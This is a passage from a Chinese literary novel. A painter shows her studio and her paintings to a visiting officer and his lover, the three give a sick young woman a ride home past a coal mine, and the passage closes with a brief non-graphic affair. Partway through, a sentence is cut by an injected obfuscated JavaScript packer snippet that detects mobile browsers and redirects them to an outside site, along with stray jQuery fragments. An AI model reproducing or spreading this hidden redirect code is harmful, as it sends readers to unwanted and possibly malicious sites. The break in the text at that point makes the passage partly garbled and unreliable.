“何姐,我一直要你去西山住几天,你总是去一次匆匆来回。你看我爸就知道了。厨师有专门营养配餐,他们说,个子大小,与吃多少没什么大的关系。”
雪秀抢先替自己男人回答道。
“好像你从来没说过?”
“你也没问这个话题呀。”
“好像跟周家男人?在一起吃饭?——这两年还没有。几年前跟振实一起在饭店吃过一次,是学校开什么会,他去了,还是特意安排我去陪他吃饭。我说是间接给我改善伙食。”
说到这,何穗停顿片刻,再甜滋滋笑着说,
“那次还喝了点小酒,回来就睡了。是有点醺。”
“我二哥怎么喝酒?”
周振春疑惑地这才开口问。
“是人家喝。你要喝么?呶,那有二瓶啤酒。”何穗指着屋角的一个纸箱,说。
“不喝。要是开车的话,就不行。”
“是不是周书记要求你们的?不能喝酒?”
“算是吧。出去不能喝酒。怕误事出意外。”
周振春告诉何穗说,父亲之前在乡下工作,见证过也处理过太多醺酒误事出意外身亡的事件,所以禁止自家人喝酒。
“怪不得。雪秀也不告诉我。”
何穗看着雪秀,用有点怪怨口气说。
“我只知道他们家都不怎么喝酒,至于为什么,就不知道了。爸妈、你也没说吧?”
雪秀为自己辩解说。她撇了一眼周振春,嘟着嘴,站起身来,边开始收拾碗筷边对何穗说:
“何姐,你吃完了,先带他去画室,我要上去把我们的东西收拾一下,再下来。”
“嗯。”何穗点头应了一声,再接着刚才喝酒的话题,很干脆地说,
“我有时喝。不然的话,心情烦闷之极,很难发泄。”
她说着,端起碗,两口把碗里的粥吃完,也站了起身,走到年轻男人跟前,再转身,把他引向画室,边走边说,
“寂寞难耐时,有次自酌自饮,不知不觉地喝多了,昏昏噩噩地睡了过去,可起来头疼象是要炸裂一样。应该是酩酊大醉的地步,也许是自己太不理智了。从此以后,只小饮小呷,再也不喝过量了。”
……
楼梯在房子中间,上面有三间是何穗母女三人的房间,楼下靠路边门口一间几乎处于无人居住的小屋,是老赵的住房。
楼下除几个房间以外,里面还有一大一小两间厨房,储物间,外面那间最大临天井的房子,是何穗的画室。
另外一幢完全处于空置状态的房屋,是用来放置物品的储房和招待客人的住房。
楼梯间融合了艺术画廊的展示方法,画框按照上下顺序梯级延伸,对应阶梯,生动再现和谐的韵律感。枣色木质扶手温馨自然,简约宁静,充满期待。
女人带周振春从厨房穿过楼梯间,来到左边的一楼有间很大的通房,就是她的画室。
暖黄色的四面墙壁挂满了五彩斑斓的画。
老旧的木质椅子、桌子、长板凳。朝南墙临窗有画桌、屋子中央有张很大的画台、北侧的一面屋墙下,摆满了大大小小斜架上的画板,屋子四角堆放画纸画框。
房子南北通透,西侧的墙面也有两扇大玻璃窗。室内三面有窗的空间,随着季节变化,太阳角度不同,室内阳光充足。
置身于五彩斑斓的色彩之中,画室空间的静谧让人沉醉,淡定从容。
这是她热爱和拥抱生活的地方。
“我不知道外面的世界怎么回事,也不需要去在意任何人的说三道四,我只满足自己的闲情逸致:养女、教书、画画、游山玩水。”
何穗带着周振春走进她的画室。
“要使自己镇静下来并不难,把一切都看得很淡,与已无关。或者过着忍辱偷生麻木不仁的生活。”
女人像是自嘲自怜笑着说,与刚才餐桌上谈笑风生判若两人,像是换了一副喜悲交加的面孔,
“多少尘世的梦,落在旧时光中。就算皓月再给我一个美好的童年,太阳再红也回不到过去的从前。”
女人显然是向年轻男人倾诉自己的心声。
她引着年轻男人来到一幅画前:十八世纪末周家古宅。牛姥山峰山下是庄严雅致,层楼叠院的周家老宅。宅院大门正房屋顶翘起来的抬头龙瓦上,看得到绣楼侧檐沿边,竖着的莲花青砖座饰。
雪秀在画面右侧题跋:祖父说如果在屋后园子里种上桃树的话,桃树长高一点,春天里,站在池塘边,就会从绣楼竖起来的莲花座拱洞中看到桃花。
桃花开在绣楼屋檐莲花座里,会是一番什么样的景象?
“会是一番什么样的景象?”
年轻男人抬头仰望着自家老宅的画图,跟着自己女人的题跋,自言自语。
“这有六幅连成一体的画,是雪秀的一篇日记题跋,你要完整看完,我几乎可以背下来了。”
女人指着正中央二组排列的画面告诉年轻男人说完,再强调一句,
“可能你会有点意外。”
年轻男人仰头望向,这是一幅夕阳图,从牛姥山天缝口,到冬塘古镇木铺街,耸立在冬塘旷野中教堂的拱顶,再到冬河,一直到峻峰山。年轻男人一眼就看出来了。
“这得画多久?”
年轻男人不住称赞地问。
“画完前后半年吧,后来和雪秀一起,为了表达她的文字,后面修改,真正算起来,可能有一年多吧?”
“你够用心的了!”
年轻男人感慨地说。
“这算什么?只要雪秀高兴。我愿意竭己所能为她做一切。”
女人凑到年轻男人跟前,轻声道,
“包括雪秀高兴借男人的话。”
“画家发现生活的美好,也画出心底里的渴望。”年轻男人对女人调侃笑着道。
“有时候心灰意冷沮丧之极,站在乌河边,望穿秋水,犹如把理想绞死在梦里。”
女人苦笑着对男人说。这是她隐藏在自己内心深处的心里话:她想让年轻男人能够理解自己,并予以抚慰。
年轻男人还是向前走到画面下,抬头仔细地看着自己女人的题跋:
去年秋未,我在家乡观察晚霞。
我知道,故乡有无数次的晚霞。但每次看到晚霞,仿佛都是第一次。
这次看晚霞,是在离开故乡十年之后,从牛姥山寺庙回来的路上。
第一次去拜谒牛姥山寺庙,是在离别故乡五年后,那一年再返回故乡时,才知道牛姥山里还有一座寺庙。
这寺庙是后来才修建的。原来的寺庙在我出生之前不久时拆了。自我懂事起没有听人说起过,大人们也没有谁提及。以后每次回到故乡,我本能去拜谒牛姥山寺。
这次拜谒回来,归途正是黄昏。天空奇怪出现一抹一抹晕红的晚霞。观赏晚霞的时候,脑海里不由地浮现出那一年去冬湖郑家塆,柯先生屋子里墙上那幅冬湖的风景画来。
就觉得它同那一年我在柯先生的房子里,看到挂在墙壁上那画的色彩一模一样。
它淡淡的晕红,带有一点儿日落垂暮的忧伤。自然总是美的,冬湖总是美的。
这是柯先生十几年前对一个懵懂少年说的话:那是一幅油画。画的是在秋日寂寞郑家塆的黄昏天空上,一抹又一抹晕红的云霞,和波光粼粼澄澈的冬湖。
眼前的晚霞,这的确是故乡黄昏的天色,它渗入了我的心底。
年轻男人把二组排列的题跋看完,对女人说:
“我觉得这二组画很完美。也可能是用文字描述出来的意境很清晰?”
“雪秀告诉我,这是她和你一起写的日记。”
“我怎么不知道?”
周振春感觉非常惊讶。他小时候知道牛姥山天缝口那儿是有座寺庙,但被拆了。
这次回来,他们谁也没有告诉他又重新修建了。雪秀也没说。
“雪秀——”
女人朝楼梯口扬声喊。
“哎哟,来了——”
晨光中,一个细长的身影映在枣色的楼梯之上,紧接着呯呯的脚步声响起。雪秀踩着梯级从二楼飞快下来。
“我以为你回房睡回笼觉了,你不应,就把你的男人还给你。你来证明,春子写的日记。我去换衣服,咱们准备出发吧。”
女人像是很体贴周振春与雪秀,直勾勾地看了一会年轻男人,往通向二楼的楼梯口走过去。
“这是你写的日记。你怎么忘了?真奇怪。”
雪秀走到画前,再后退一步,对周振春说。
“自己写的日记,时间一长,忘了也没什么奇怪。”
“我和你一起写的吧?应该是这样。你写完后,就沓无音讯了。”
雪秀把手搭在心上人的肩膀上,也把脑袋靠在他的肩膀上说。
“那就是上前年?我回来的时候?”
“是。当时我们一起走到天缝口,你看到那有新建的一幢房子,问我,我告诉你,是新修的寺庙,住了一个僧人。”
“后来呢?”
“后来姐夫把车开到天缝口,接你回去了。
姐姐骂他,为什么要跟踪我们,姐夫说,我还要嫁人……”
那坐寺庙其实就是一间砖瓦房,和新时代新盖的农舍完全一样,没有红墙金瓦,没有翘檐画栋,更谈不上殿宇巍峨,钟声悠扬。
但确实是坐落在郁郁葱葱古树参天的山谷中,周围群山环抱,云雾缭绕。
这里是雪秀在困境当中生活的一个缩影。
也是另一个女人的修行之处?
她可以将自己对生活的种种感悟,形成图片,变成任何形态的画面,随心所欲不受外界干扰和约束,让自己的人生变得充实,生活中充满着喜悦。
这里是她的期待,也是她的所有。
一些画面触动了雪秀的心弦,用文字点缀着画面上的色彩。
在这宁静孤寂天籁般的岁月中,期待美好。
一个女子站在大宅院门外,凝神而望。白墙黛瓦一角有一簇桃花。这是一幅周家老宅院门的画。画面右上角题跋:人面桃花。没有把那首伤感的古诗写上。
男人想,这应该是描述一个男人的题跋,
而非是古诗中一个人面桃花的妙龄少女。
但细看之后,原来伤感的古诗题跋是在很不起眼的左下角,字迹细微得几乎无法辨认,颜色也几乎与色彩一致。这是何穗的题跋。
俩个女人都在同一幅画中题跋,可能是这色彩世界里的唯一?
“你们俩个女人只是题这一幅画?”
周振春问雪秀。
“好像还有七、八幅吧。”
雪秀凝神而望,回答后又说,
“有些画面中的表述就是现在站在画面下的赏画人。”
男人无言以对,老半天后故意回答:
“你们是惺惺相惜吧?”
“当然,不然怎么这么多年可以住在一起。”
女人这么回答,让男人感到安慰。
“要是不来的话,还不知道何姐的体贴和关心。大家都说何姐好,至于怎么样的好就不会说了。”
男人感叹道。
“怎么说得岀来呢?”女人把手挽着男人的胳膊,带着他往前边走边看。
有多副自家老宅的画面,可以知晓这家的女人通过色彩对周家心怀期待,也满怀很强烈的憧憬。这些现象在画面中一一展现出来,直达女人的内心世界,非常鲜明,由此也变成几天前与周家男人一夜之欢的现实。
雪秀引着男人在一幅春意盎然的画面前站了下来。抬头望去,这是一幅青绿山水画,画中粉墙黛瓦,小桥横卧,冬河蜿蜒,在牛姥山主峰山腰那儿白云朵朵悠悠飘浮,用不同的颜色渲染出浓淡层次。
画中以周家老宅构成的主画面,显出新雨后的苍翠,又着上点点细笔新发的绿韵,一派春意盎然欣欣向荣的景象。
这是一幅春秧时节薄雾飘拂的早晨图。
这幅画的左侧有几排长长的文字,男人仔细看,才发现把自家门口的池塘和老宅的房屋连在一起了,把禾坪下的稻田画到了池塘的边缘上了。
池塘的周围,芙蓉树已枝繁叶茂,树下也是草长莺飞。池塘里的睡莲,悠悠嫩绿。穿过池塘下面的小道,就是水井。微风轻拂,一旁的田园,清水涟漪。
在晨曦中展现一平如镜的块块田园,澄清的水面一如井里的清泉。
小巧别致的浮萍,也三三两两地浮出在水面上。田边的山林倒映在水中,苍翠无比。四面群山,尽是郁树环合。远近寂寥无人。
绕过池塘,顺着田埂,踏上一条细细长长的草径,早春嫩叶的清香和湿土的芬芳扑鼻而来。这条草径一直通向前方茂密的森林。
眼前积水的田野,在水泽和草木间蒸发的水汽,使得眼前的春色,如同迷雾般现出梦幻般的景致。
冬河边畔的树丛中,黄馨也腼腆地开着淡淡的小花。独木桥扎着防滑的稻草绳,留下雪后唯一的痕迹。
后山冬湖那里的茶园,还有那里许许多多小杉树,虽未成材,却也千姿百态。即使不是春天,那杉树的翠绿也能引人入胜。
现在春天杉树的蓊郁清翠和冬湖的悠悠绿水,又会是怎么一番让人心醉的景象?
“这两幅画的题跋是我的一篇日记。”
女人告诉男人说,
“何姐画画,我负责题跋。何姐说都是在发泄自己的情绪,俩个被势利和世俗抛弃的可怜的女人,像是一对同性恋,相互安慰,发泄自己心中的苦闷与焦虑。”
尔后,女人再告诉男人:
“何姐说,她不画太悲伤和太高兴的画。如果太悲伤的画,就好像会听到画纸上的人哭泣和呻吟;画太高兴的画,总会有种画纸上的人疯疯颠颠的样子。”
女人向男人说完,再用加重的语气说了最后一句,
“何姐告诉我,她更多地倾向于残缺的美。她不太喜欢太完美的东西。她说从个人的经历,还是社会上耳闻目睹的事情,太完美的东西往往是虚伪的。”
这个时候,暖暖的太阳,从窗口上照射下来,室内通透明亮。在灿烂色彩中,洋溢着空灵的古趣。
“‘何姐说’、‘何姐告诉我‘”,男人摸仿女人的口吻说,
“这应该算是你半个家!”
说着,他把女人的手攥住在自己的手心里。
“不对。我把何姐家看作就是我的家。如今也是你的家。”
女人说得很认真,男人点了点头。
何穗只是万万千千画画人中追求艺术卓越的一个,为兴趣或者说信仰,而非是生活所迫,付出青春甚至于爱情和婚姻去换取时间和空间,甚至是金钱。当然她也是独特的。
雪秀在情绪低落甚至失控时,在这宁静的山中色彩缤纷的世界里,在别人看似简单闲暇的时光里,她读书记读书笔记,写生活日记,记录自己每天的感受,用自己实在的行为,去激活一个又一个即将来临的明天,让自己希望的生活变成自己喜欢的现实。
在这色彩缤纷的世界里,寻求一己慰籍。
俩个女人惺惺相惜,自怜自艾,相互依存,一个画,一个写,聊以自慰。
何穗飒爽英姿地走过来,她头戴卡其色的捧球帽,一只手提一个双肩包,另只手上拿着一个宽檐的遮阳帽。
她今天身着珊瑚红的外套,灰蓝色的牛仔裤,脚蹬乳白色运动鞋。
雪秀身上还是在峻峰山卡其色的长T恤,红色立领开衫外套卫衣,下身灰蓝色的直筒牛仔裤,颈上围着枣色的围巾。
不同的是她今天脚上蹬着是一双灰白色的运动鞋。何穗走到雪秀跟前,把那顶遮阳帽让雪秀戴在头上。
“为什么男人岀门手上不肯提东西?要是下雨天,宁愿淋雨,也不愿拿伞。”
何穗把包递给周振春说。
“男人的手,是要做事干活的吧?”
周振春回答,再说,
“知道部队里,不准军人的手插口袋吗?是因为万一有什么突发情况,出手来不及。”
“还真没想到。”何穗说,她率先走到车前停下脚步。
“眼明手快,这是军人动作标准。抽不出手来,就会贻误战机。”
男人告诉俩个女人。他走到车旁,再转身问雪秀:
“水带来没?”
“我忘了。何姐一喊我跑下来,现在跟着你,都不知干什么了。”
雪秀笑了一下,转身小跑着回去拿水了。
周振春打开车门让何穗先坐上去。何穗却站在车门前,一字一句地看着年轻男人说:
“你不娶雪秀,整个冬塘的人都恨你。这不是我说的。”
不及年轻男人回答,她又说,
“当然,你要是娶了我这妹妹,也不会有我和这个弟弟男人那么放肆了。”
“现在不算?”
年轻男人问。他是指何穗问自己娶雪秀的话。
“当然,要生了孩子才算。所以我总是劝妹妹赶紧把孩子生下来。”
女人认真说完,再定睛看着男人问,
“你姐怎么样?不是个自私的女人吗?”
“当然!你是何姐。”
年轻男人这么一说,女人立马不悦地沉下脸来,说:
“我不喜欢你和冬塘有些人一样,只是把我当成‘何姐’,说白了,无非是嫁了个‘断臂老赵’嘛。我不知道是嘲讽还是悯怜?”
“……”
“我希望你把我当成一个正常的女人,这是我的心愿!这好像是我表白?但是我的真心话。你看我身边有谁嘛?女人是雪秀,男人是你。”
这时,雪秀从房子里出来,她一路小跑,何穗打开车门,她坐到副驾驶座位上,伸出脑袋朝过来的雪秀问:
“雪秀,我坐前面带路呀,你同意不?”
“本来嘛。你就坐前面的嘛。”
雪秀兴冲冲地把部队一个铝制水壶放在后排座位上,自己也坐上车。
车辆往董兴煤矿那条道上驶向,大家说好,逛一逛就回,不作停留。既然俩个女人没去过,对男人也是陌生地,就去那儿看看。
越是往煤矿上那条路行驶,路面越黝黑,看到煤矿上的房子,整个路面已经完全被黑色的煤灰覆盖住。树木、房子、路面,地上到处是一层又一层黝黑的厚煤灰。
一些身上脸上涂满黑煤泥的工人,也开始三三两两出现在路旁。
整个煤矿这片区域,成了一片漆黑的世界。
在他们车子前方,一个穿一身黑衣,戴顶皱瘪的乌帽,在阳光照耀的天空下显得特别瘦小的男人,用背篓背着一个坐着的女人,伏俯着身子,吃力向前行进。
背篓上的女人,应该很年轻,二十几岁。
一头乌黑的头发遮住了她的脸庞,穿着红衣方格双开领长袖衣服,黑色晴纶长裤,一双黑色平底布鞋。
她那半睡半醒的样子,像是己经处于昏厥的状态。
她的两条垂下背篓下面的空中的腿,随着瘦小男人的步伐,有节奏地晃荡不已。
周振春驾车跟着一段距离后,把车靠路边停了下来。他转头向何穗说:
“何姐,你去问问什么情况?”
何穗下车走向弯腰驼背把女人放在背篓里、背着的瘦男人问明情况后,告诉周振春,女人结扎后回家,伤口感染,昨天来到了煤矿医院,清理伤口,重新缝合,今天一早赶回家。
把女人放在背篓上背回家的,是她又小又瘦的五十几岁的公公。
女人的丈夫去了广东打工。对于结扎伤口感染再去医院清理伤口,他们全家认为是小事一桩,远在广东打工的老公没必要赶回家。
几天前女人结扎男人也没回来。
“送他们一程吧。”周振春说,他把车驶到瘦男人身边,停下来,
“我顺路带你一程吧?”
他下车向前走到瘦男人面前,问了一句再问,
“你们还有多远?”
“就在前面,四里路远的山边。”
瘦男人有点惊讶,看着周振春回答说。
待反应过来,他蹲下身子,让背篓上的小媳妇下来。
何穗和雪秀把小媳妇扶着上车,坐在后座上。瘦男人也跟着坐上来,但他坐不上来,他背上的背篓卡住了车门。
周振春上前,让他把背篓取下来,这时他才发现原来背篓里放了张小短板凳。
周振春把背篓放在后备箱里。
“等等,背篓里有吃的,别弄丢了。”
瘦男人提醒周振春说。
周振春把背篓提到瘦男人跟前,瘦男人接过,把背篓抱着怀里,他伸出他筋脉突兀的一只黑乎乎的手,从背篓里拿出一个泛黄的旧报纸包,打开,拿出一个干瘪焦皮像他手一样黑乎乎的小红薯,对椅在后座上瑟瑟发抖的小媳妇说:
“英妹,你先吃一点吧?”
小媳妇摇摇头,耷拉着脑袋,朝周振春看了一眼,
“谢谢!”小媳妇回答了一句谢谢,但听上去像是在呻吟。
报纸包的几个干瘪的烤红薯,几块差不多碎成渣的米锅巴,一瓶酸豆角和一罐酸藠头?。
瘦男人公公告诉他们说,小媳妇在医院只住了一天院,不该带这么多吃的来。
周振春向小媳妇说了声,“坐好了”,再从后备厢里,抱一床被子,递给雪秀,让她盖在瑟瑟发抖的小媳妇身上。
大家都沉默起来,开始送瘦男人和小媳妇前行。周振春把车速降得很慢,绕开路面的坑洼和小坎,尽量避免车身的颠簸。
十几分钟就到了瘦男人和小媳妇的村庄路口。周振春停下车,雪秀何穗扶着小媳妇从车上下来。
小媳妇有气无力说了声,谢谢,坐到放在地上背篓里的板凳上,两只手紧抓住两边的背带。瘦小的公公蹲下身子,扯过背篓
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199088|197153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
带子,套在自己的两个瘦削的肩膀上,再双手撑住地面,吃力地站了起来,躬着身子缓缓迈开脚步,向着通向山腰那条泥道走去。
泰然地望向那个半山腰上的小山庄,发现映衬在森林之中山峦之上的阳光,在阵阵劲吹的秋风中,像是汹涌澎湃的波涛,哗啦啦泻下来,刚才驶向这里黝黑的公路,就是从山峦之间冲泻下来汇聚而成的河流。
山村的屋墙上,“宁愿血流成河,不可多生一个”的大红标语,炫耀夺目。
“你心疼吗?我看你的眼神很心疼。”
雪秀用疼爱的口吻问周振春。
“他要是无动于衷,你会为他折腾这么多年?为什么几个女人会争夺他呢。”
何穗说完,用手把自己的帽子压得很低,快速坐回车上。
周振春没有作答,只是面无表情地默默注视着那个瘦小的老男人背着小媳妇,往山里走去。
“你把被子送给她吧。”周振春对雪秀说。
“他们还背得动吗?”
“可以先放在山下,把媳妇背上山后,再下来拿嘛。”
“还是我去吧。”
何穗接过周振春的话说。她利索地下了车,从后座把被子拿下来,再叠好,两只手端着,快速跑了过去。
“你是行善还是嫌脏?”雪秀把手搭在男人的肩膀上,脸上绽开了微笑,问。
“我是嫌脏。”
“你是行善。嫌脏?可能有点。”
“是行善可能有一点。”
看到何穗追了上去,那瘦小的公公站定下来,何穗抱着被子和他说了什么,还是径直跑向前,在路边一处坡角上,她把被子放在地上,再转回身,放慢脚步往回走过来。
“何姐真是个大善人。反应也快。”
周振春望着何穗跑回来的身影说。
“我呢?”
“你?你是个小好人,反应迟钝。”
“你说得很对嘛。”
雪秀把搭在男人肩上的手放下来,笑着说。
一群小鸟从他们上空飞了过来,落在河对岸那边的树梢上。这时静得只能听见小鸟停落在枝头上时摇动枯枝的沙沙声。
何穗让周振春把车沿着河岸往回驶,停在一处芦苇丛缓坡上一片菜地旁。
大家下了车,何穗带周振春雪秀着径直走向菜地,菜地靠城的一边,有几排小屋子。
何穗在前面引路,周振春跟着后面,雪秀跟在周振春后面问:
“为什么要走得那么快呢?”
“去看看乌河。我每到一处,只要有水的地方,都会去看看。”
周振春说。他的前方不远处就是河岸。
“我去菜园子里摘菜,让何姐陪你看吧。”
雪秀很熟悉这儿,她走到何穗家老赵种的菜园里,停下了脚步,说。
她朝前面喊了两声:“何姐”,把菜地草堆上一只打盹的大花猫喊醒了。
大花猫朝雪秀看了一眼,再转向周振春看过来。
“我带春子去见爷爷。你先去摘菜吧,我们一会儿再来。”何穗回头朝雪秀应了一句,再催捉身后的周振春说,
“你走快点呀。”
大花猫的目光停留在周振春的身上,再伸出长舌头,长长的打个哈欠,耷拉着脑袋,继续打盹。大花猫相信初次见面的周振春对它不会有恶意。
雪秀是它亲近的人。
“以前这里爷爷种的葡萄,怎么不见了呢?连葡萄架也没有了。这里的葡萄很好吃,酸酸甜甜的。”
雪秀朝何穗的背影问。
“葡萄架迁到爷爷那边去了。这边没人看守,熊孩子吃了葡萄之后,顺手把葡萄架也拆掉。爷爷就不在这里种了,把葡萄架搬到了他那边的菜园子。”
何穗稍侧转身回答雪秀后,还是转回身来,径直引着周振春向前走去。
她边走边告诉年轻男人说:
“这个熊孩子非常讨厌。不但欺负我的大花猫也欺负人,不知道是从哪里来的,好像就是一个半老的奶奶带他。”
她对跟在身后的周振春说完,再说了一句,
“孩子是父母的缩影。”
夏天的时候,这河边的菜地里,一个男子把这个孩子打了,应该打得很狠。孩子妈,一个三十来岁出头的女人嚎啕大哭地喊,用隆重的乡音声嘶力歇地骂男人:他妈的他妈的,被打的孩子也跟着其母骂父亲:他妈的他妈的……
这一家人是刚搬来半年的新租户,孩子很熊,确切地说不是很熊,而是很顽劣甚至是很恶劣,附近的居民都很讨厌他:常踩踏人家的菜苗,虐待小动物,趁人家里没人,翻抽屉偷钱。
熊孩子的父亲是一个腰圆膀粗的青壮年男子。在路上,何穗有二次骑车遭到这熊孩子恶意冲过来的推撞。第一次是其父在孩子身边,熊孩子突然冲过来直直用双手推她的单车后轮,猝不及防的让她从单车上面摔下来,她以为腰圆膀粗的父亲会教训熊孩子,父亲没吱声,何穗也当若无其事,因为尽管对这孩子的恶行感到厌恶,终究毕竟是几岁大的孩子,而且还是别人家的孩子,不存在教他做人的义务,等着更熊的人收拾他。
第二次是其母带着熊孩子,也是这路上过来,有上次被熊孩子冲撞的经历,这次见熊孩子,她就下了车,挪动脚步,远远地与熊孩子保持距离,站在他们的另一边,但就在何穗刚站定时,熊孩子还是一如既往地冲过来伸出双手推她,何穗侧身闪开,双目怒视着他,熊孩子才走开。
不是谁都能容忍他的恶行,有次终于遇上一个狠角色了,熊孩子冲过去推撞那人时,那人一把提起他就扔到河里去了。
看到他快要溺死时,才把他捞上来。如果这孩子恶习不改,被人掐脖子早夭是早晚的事。
父母或家长在熊孩子身边,对熊孩子恣意妄为的恶行放任不管,就是在放纵指使,那么迟早惹祸害,就是受伤害短命是因果报应。
对熊孩子恣意妄为的恶行,不能因为“年龄小是孩子”,就可以置之不理,不能因为“是孩子”,就可以为其推卸责任开脱,任其胡作非为去行恶。一个文明的社会、有教养聪明的家长反而会对孩子的言行举止要求比成年人更严更细,对孩子品德上的错误、尤其是恶行,惩罚要更严厉。
只有这样,孩子长大成人,才能做一个有教养的人,走到社会上去,不会惹祸端,避免受伤害,对个人对社会文明发展才能更好起到促进作用。
说到最后的何穗,完全是以一个教师的身份在课堂上的授课,她阐述了自己的人生观。
这里十分寂静,空无人影,房前屋后长满了齐腰高的荒草,四周是庄稼田和菜地。只听见风吹着树枝哗哗作响的声音。
一只脱毛的狗从何穗两脚之间的空隙跟着跑过来,它径直走到菜地一角草丛里,满不在乎地趴在那里,望着陌生人周振春。
他们经过一处村庄,一个蓬头垢脸分不清男女的老人坐在门口的门槛上,呆滞滞地望着他们。
何穗介绍说,这并非是独居老人,和一个儿子住同一个村庄。刚刚开始搬来看到这个老人时,总以为那户人家就是一个老人,平时的日子手上拿个有缺口的破碗,柱着根长竹杖,去隔壁那幢房子要饭,与乞丐无异,原来隔壁那住着她儿子一家,她每顿饭都是从儿子家里要过来的。
八月十五中秋节会来花花绿绿的一大群年轻人,都是她的子孙。她有七个子女,都搬岀去了,孙子们都去了广东深圳东莞打工。
平时几乎不会有人来看她。有年她从楼上摔下来,子孙们就把她放在床上,没去送医院,她的千年屋都搬岀来摆在祠堂,就等她死,没料到她在床上躺了两个月竟然好了。但从此以后走路就用张椅子扶着,走几步坐会再走几步。
“如果午饭没有爷爷的鸡,我们就是土里这些菜,我和雪秀是够了。你呢?就欠缺了。”
何穗迈开大步,在前面边走边说,
“我的食物就是米饭、蔬菜,偶尔吃个鸡蛋和一点点鱼,几乎不沾荤。活着不需要太多的营养,像我这么一个近乎单身还不算太老的女子,营养丰富会是一种负担,它会让人有过多的精力产生焦虑和烦躁,让人心神荡漾胡思乱想。素食是禁欲最好的选择之一。”
见周振春落下几步远,她站住脚步等着他跟上来,回头看着他再说,
“今天你来了,才弄了半只鸡,沾点荤。因为你要应付女人。”
她说完,朝己经在菜地里摘菜的雪秀大声问,
“雪秀,你说是不是?”
“你说什么呢?我听不清楚。”
雪秀大声回答。
“我跟春子说:我们是山里的孩子,跟树木鸟虫花草没什么区别。”
何穗用几乎喊起来的声音高声对雪秀说。
接着,她还是指着那处山村告诉周振春说,
“这里原先住了好多人,改革开放后都跑光了,好多人去了广东经济特区的深圳,听说那儿隔壁是香港,遍地黄金,赚钱快,一个月有七八百的工资。”
老狗甩着尾巴跑过来,它还是蹭着何穗的裤腿,沿着前面的一处草地跑过去。
草地的尽头,有间不大不小的木屋,木屋的檐廊伸到外面很长,隐隐约约可以看见竖立木屋屋顶的招牌,“华升五金日用百货商店”。
这是老赵的工作之地,也是他营生的场所,
他自己也住在这座小木屋里。与何穗生下小女儿苏如后,这杂货店成了老赵名副其实的家。
原来他们不知不觉中,又拐了回来。
何穗告诉周振春说,他的人生并没有凋零,而是以另外一种方式坚强地活下来。
“当然,这其中他要感谢你。”
“我没做什么啊?”
周振春不明所以。
“你去看过他,作为军官,回部队立马寄给他三套军装,一直到现在去人家里作客、上街的时候、过年的日子,还当作礼服穿。十年了吧?”
女人突然把嘴凑到男人耳边,嘴角微微上扬了一下,故意悄声笑着说,
“也许正如你所说,如果我让他来面见你的话,作为夫妻就有点尴尬了。”
在岁月变迁四季更替的过程中,何穗自己说,她没有信仰,自己不过是茫茫众生中的一员,终其一生都在随波漂流。
“在动物世界里,常常看到两只雄性动物为争夺雌性动物拼死搏斗的血腥场面。人类作为动物世界的一部分,也不例外。如果换成你的俩个女人同为雄性,可能更为惨烈。
“何况女性对物质有种与生俱来的占有欲。
在以父系社会男性为主导的权力社会中,女性作为弱势群体她们最需要拥有足够的物质资源来保护自己。
“雪秀只是寂寞,因为你不在她身边,我是既寂莫又孤单。也许,这正是我所需要的生活。如果不是寂寞和孤单,那有心思坐下来画画,游山玩水。”
何穗说到这,长吁一口气,再缓慢地说,
“这都是自找的。所以不能有任何抱怨和情绪,而是以高兴的姿态去迎接它们。”
何穗爷爷的家是二层楼的小瓦房,墙上爬满了藤蔓。一些青砖缝隙白灰脱落的地方补了新鲜的水泥浆。
这儿老旧并不荒凉,随处可见各条道上的行人和往返的车辆,听到来自四面八方传来的各种声音:人们的说话声、孩子们的嬉笑声、商贩和行人在靠城那边街巷口的嘈杂声、驶过车子的喇叭声、风吹河水的波浪声……
门前的河面上飘浮着一大群洋洋得意的鸭。
有几艘小船在来回荡动,不远处一段宽阔的河岸围着矮石墙,阳光在河面上闪烁。河的两岸有几个悠闲的钓鱼人。
这里的风景比冬河更广阔。
刚才周振春从走过来那边看时,以为只是几幢老旧小屋,走过来这里才知道,其实是一排一直通向城里长长的小街道。
何穗爷爷父母的家,刚好在这边的街道口。
何穗引着周振春来到一幢小楼前。一个正在门前小院做木工活的老人,朝他眯眯眼笑着。
老人红光满面,中等个儿,身着蓝咔叽衣服,嘴里叼着一根短炳烟筒,前额很宽,一头稀疏的白发。
看着周振春,老人笑得甚是开心。
院子里摆着四五张长短不一的板凳、桌子一方一圆,方形桌上堆满了各种各样的木工工具,像座小山。圆形桌摆满了瓶壶、杯碗盆缸各类噐皿。
老人精神矍铄,双眼炯炯有神,一看就知道是个见过世面的人。老人年轻时候是周家的造船工匠,见过祖父,常对孙女啧啧称赞周家的根底厚实规模宏大。
“老爷爷好。”
周振春从兜里掏出包555牌烟,递给老爷爷。
“周家二少爷,又叫春子是吗?”
“是。爷爷,现在新社会,没有少爷了。”
“都差不多,只是换了个叫法而已。”
老人把烟筒取下来,把刚才接过手里555牌的烟,翻来覆去掂量,撕开纸盒盖上的封条,打开,拿出一根叼在嘴里,从口袋里掏出火柴划上火,点燃,小吸一口:
“很上瘾。听说是洋人抽的,特劲啊。上次云子给我两包双喜就和我们丰收大前门差不多,味儿淡。”
何穗在屋子里,恼怨噘着嘴不住招手催年轻男人进屋,她毫不掩饰急切地跺起脚向老人喊道:
“爷爷,别说了,让二少爷进屋里来。”
二楼阁楼雅致的木板小床,一扇小窗开着,正对着河边的菜畦地,可以看到另一个妹妹一样可爱的女人躬身仔细在那儿摘菜。女人引着年轻男人上来,冷不丁一把拽住他。
“雪秀……”年轻男人挣扎。
“她至少半个钟、一根一根儿拣……她上来、爷爷会在门口大声喊……”
洁白柔滑的女人在床上爬行,状似浑圆山脉燃烧的火焰。强烈的太阳光在窗外的天际划过一道美丽的弧线……
女人一动不动躺着,仿佛凝固起来,两行清泪,从两边的眼角淌下,她睁开眼睛,对年轻男人喁语:
“你下去,我要好好睡一会。走时叫我。”
